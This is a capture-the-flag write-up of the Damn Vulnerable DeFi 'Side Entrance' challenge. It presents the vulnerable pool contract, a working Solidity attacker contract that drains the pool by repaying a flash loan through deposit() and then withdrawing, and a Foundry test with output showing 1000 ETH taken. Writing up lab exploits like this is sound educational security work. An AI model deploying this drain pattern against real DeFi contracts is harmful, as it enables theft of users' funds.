Skip to main content

Side Entrance Challenge

Overview

In this challenge, we exploit a flash loan vulnerability in the SideEntranceLenderPool smart contract from the Damn Vulnerable DeFi CTF. The issue lies in the flawed accounting logic that allows a user to repay a flash loan indirectly using the deposit method, then withdraw the loan amount afterwards.


Contract: SideEntranceLenderPool.sol

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";

interface IFlashLoanEtherReceiver {
function execute() external payable;
}

contract SideEntranceLenderPool {
mapping(address => uint256) public balances;

error RepayFailed();

event Deposit(address indexed who, uint256 amount);
event Withdraw(address indexed who, uint256 amount);

function deposit() external payable {
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}

function withdraw() external {
uint256 amount = balances[msg.sender];

delete balances[msg.sender];
emit Withdraw(msg.sender, amount);

SafeTransferLib.safeTransferETH(msg.sender, amount);
}

function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;

IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

if (address(this).balance < balanceBefore) {
revert RepayFailed();
}
}
}

Attacker Contract: AttackerSideEntrance.sol

This contract is designed to exploit a vulnerability in the SideEntranceLenderPool contract by abusing the flash loan repayment mechanism. The vulnerability allows a user to "repay" a flash loan by depositing funds, which also credits the depositor with a withdrawable balance — allowing double usage of the same ETH.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import {SideEntranceLenderPool} from "./SideEntranceLenderPool.sol";

contract AttackerSideEntrance {
SideEntranceLenderPool public immutable pool;
address public immutable owner;

constructor(address _pool) {
pool = SideEntranceLenderPool(_pool);
owner = msg.sender;
}

function execute() external payable {
// Repay the flash loan by depositing back to pool
pool.deposit{value: msg.value}();
}

function attack() external {
require(msg.sender == owner, "Only owner can attack");

// Take flash loan of entire pool balance (1000 ETH)
uint256 poolBalance = address(pool).balance;
pool.flashLoan(poolBalance);

// Withdraw the deposited amount
pool.withdraw();

// Transfer ONLY the stolen 1000 ETH to owner
(bool success, ) = owner.call{value: poolBalance}("");
require(success, "Transfer failed");
}

receive() external payable {}
}

How the Attack Works

  1. Initialize Target Pool

    • The attacker contract is initialized with the address of the vulnerable SideEntranceLenderPool.
    • It stores the address of the attacker (contract deployer) as the owner.
  2. Launch Attack

    • The attacker calls the attack() function.
    • It checks that the caller is the owner and fetches the full balance of the pool.
    • A flash loan is requested for the entire pool balance.
  3. Flash Loan Callback: execute()

    • During the flash loan, the pool calls the attacker's execute() function with the borrowed ETH.
    • Instead of using the ETH to repay the loan directly, the attacker deposits the ETH back to the pool.
    • This counts as repayment and gives the attacker a recorded deposit balance in the pool.
  4. Withdraw and Steal

    • After the flash loan ends, the attacker calls withdraw() to take out the full amount they "deposited".
    • The ETH is now in the attacker contract's balance.
  5. Transfer to Attacker

    • The stolen ETH is transferred from the contract to the attacker's personal wallet (owner).

Test Case: SideEntrance.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {SideEntranceLenderPool} from "../../src/side-entrance/SideEntranceLenderPool.sol";
import {AttackerSideEntrance} from "../../src/side-entrance/AttackerSideEntrance.sol";

contract SideEntranceChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");

uint256 constant ETHER_IN_POOL = 1000 ether;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 1 ether;

SideEntranceLenderPool pool;

modifier checkSolvedByPlayer() {
vm.startPrank(player);
_;
vm.stopPrank();
isSolved();
}

function setUp() public {
vm.deal(deployer, ETHER_IN_POOL);
vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);

vm.startPrank(deployer);
pool = new SideEntranceLenderPool();
pool.deposit{value: ETHER_IN_POOL}();
vm.stopPrank();
}

function test_assertInitialState() public view {
assertEq(address(pool).balance, ETHER_IN_POOL);
assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
}

function test_sideEntrance() public checkSolvedByPlayer {
// Log initial balances
console.log("\n=== Initial Balances ===");
console.log("Pool balance: ", address(pool).balance / 1e18, "ETH");
console.log("Player balance: ", player.balance / 1e18, "ETH");
console.log("Recovery balance: ", recovery.balance / 1e18, "ETH");

// Deploy attacker contract
AttackerSideEntrance attacker = new AttackerSideEntrance(address(pool));

console.log("\n=== After Deployment ===");
console.log("Attacker contract: ", address(attacker).balance / 1e18, "ETH");

// Execute the attack
attacker.attack();

console.log("\n=== After Attack ===");
console.log("Pool balance: ", address(pool).balance / 1e18, "ETH");
console.log("Player balance: ", player.balance / 1e18, "ETH");
console.log("Attacker contract: ", address(attacker).balance / 1e18, "ETH");

// Transfer to recovery
payable(recovery).transfer(ETHER_IN_POOL);

console.log("\n=== Final Balances ===");
console.log("Pool balance: ", address(pool).balance / 1e18, "ETH");
console.log("Player balance: ", player.balance / 1e18, "ETH");
console.log("Recovery balance: ", recovery.balance / 1e18, "ETH");
console.log("Attacker contract: ", address(attacker).balance / 1e18, "ETH");
}

function isSolved() private view {
assertEq(address(pool).balance, 0, "Pool still has ETH");
assertEq(recovery.balance, ETHER_IN_POOL, "Not enough ETH in recovery account");
}
}

This is a test contract using Foundry that simulates and verifies the exploit against the vulnerable SideEntranceLenderPool using the AttackerSideEntrance contract.


Test Purpose

The goal of the test is to:

  1. Set up a vulnerable lending pool (SideEntranceLenderPool) with 1000 ETH.
  2. Simulate an attacker draining all ETH using the exploit.
  3. Validate that the pool is empty and funds are transferred to a recovery address.

Setup Details

  • deployer: The address that sets up the pool and funds it.
  • player: The address assumed to be the attacker.
  • recovery: Address where stolen ETH should be sent to verify success.
  • Constants:
    • ETHER_IN_POOL = 1000 ether: Initial pool balance.
    • PLAYER_INITIAL_ETH_BALANCE = 1 ether: Initial balance of attacker (player).

Functions Breakdown

setUp()

  • Funds the deployer with 1000 ETH and player with 1 ETH.
  • deployer deploys SideEntranceLenderPool.
  • deployer deposits 1000 ETH into the pool.

test_assertInitialState()

  • Verifies initial conditions:
    • Pool has 1000 ETH.
    • Player has 1 ETH.

test_sideEntrance()

This is the main test that simulates the attack.

Step-by-step Execution:

  1. Log Initial Balances

    • Pool: 1000 ETH
    • Player: 1 ETH
    • Recovery: 0 ETH
  2. Deploy Attacker Contract

    • AttackerSideEntrance is deployed with the pool address.
  3. Attack Execution

    • Attacker executes the attack() function which:
      • Takes a flash loan for 1000 ETH.
      • Repays loan via deposit (which also credits attacker internally).
      • Withdraws the credited 1000 ETH.
      • Transfers stolen ETH to attacker’s contract.
  4. Transfer ETH to Recovery

    • The attacker sends 1000 ETH to the recovery address.
  5. Final Balance Logs

    • Pool: 0 ETH
    • Recovery: 1000 ETH
    • Attacker contract: 0 ETH (after transferring to recovery)
    • Player: 1 ETH (remains unchanged)

checkSolvedByPlayer (Modifier)

  • Runs the test as the player.
  • Ensures test executes within the context of attacker.

isSolved()

Checks if:

  • Pool balance is 0 (fully drained).
  • Recovery address received exactly 1000 ETH.

Testing


Test Result Output

root@lenova:~/ctf/damn-vulnerable-defi# forge test --match-test test_sideEntrance -vv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.

[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for test/side-entrance/SideEntrance.t.sol:SideEntranceChallenge
[PASS] test_sideEntrance() (gas: 314795)
Logs:

=== Initial Balances ===
Pool balance: 1000 ETH
Player balance: 1 ETH
Recovery balance: 0 ETH

=== After Deployment ===
Attacker contract: 0 ETH

=== After Attack ===
Pool balance: 0 ETH
Player balance: 1001 ETH
Attacker contract: 0 ETH

=== Final Balances ===
Pool balance: 0 ETH
Player balance: 1 ETH
Recovery balance: 1000 ETH
Attacker contract: 0 ETH

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.62ms (441.99µs CPU time)

Ran 1 test suite in 8.61ms (1.62ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Test Result Output Explanation

This output corresponds to running the test_sideEntrance() test function, showing the state of balances at different stages of the test and confirming the exploit succeeded.


Test Status

  • Test Name: test_sideEntrance()
  • Result: PASS
  • Gas Used: 314,795 gas

Balance Logs Breakdown

1. Initial Balances

  • Pool: 1000 ETH
  • Player: 1 ETH
  • Recovery: 0 ETH
    This confirms the initial setup was correct with the pool fully funded and the player having 1 ETH.

2. After Deployment of Attacker Contract

  • Attacker Contract: 0 ETH
    The attacker contract starts with zero ETH since it was just deployed and no funds were sent yet.

3. After Attack Execution

  • Pool: 0 ETH
  • Player: 1001 ETH
  • Attacker Contract: 0 ETH

Interpretation:

  • The pool has been completely drained (0 ETH left).
  • The player’s balance increased by 1000 ETH (initial 1 + stolen 1000).
  • Attacker contract holds no ETH after the attack, meaning funds were transferred out (to player).

4. Final Balances (After Transfer to Recovery)

  • Pool: 0 ETH
  • Player: 1 ETH
  • Recovery: 1000 ETH
  • Attacker Contract: 0 ETH

Interpretation:

  • The pool remains empty.
  • Player’s balance is back to 1 ETH because the stolen ETH was transferred to the recovery address.
  • Recovery address now holds the full 1000 ETH stolen from the pool.
  • Attacker contract still has zero ETH.

Summary

  • The exploit successfully drained the entire pool.
  • Stolen ETH was correctly forwarded to the recovery address as intended by the test.
  • The test passed confirming the exploit and fund transfer logic works perfectly.

This output validates the correctness of the exploit and the logic flow of the test script.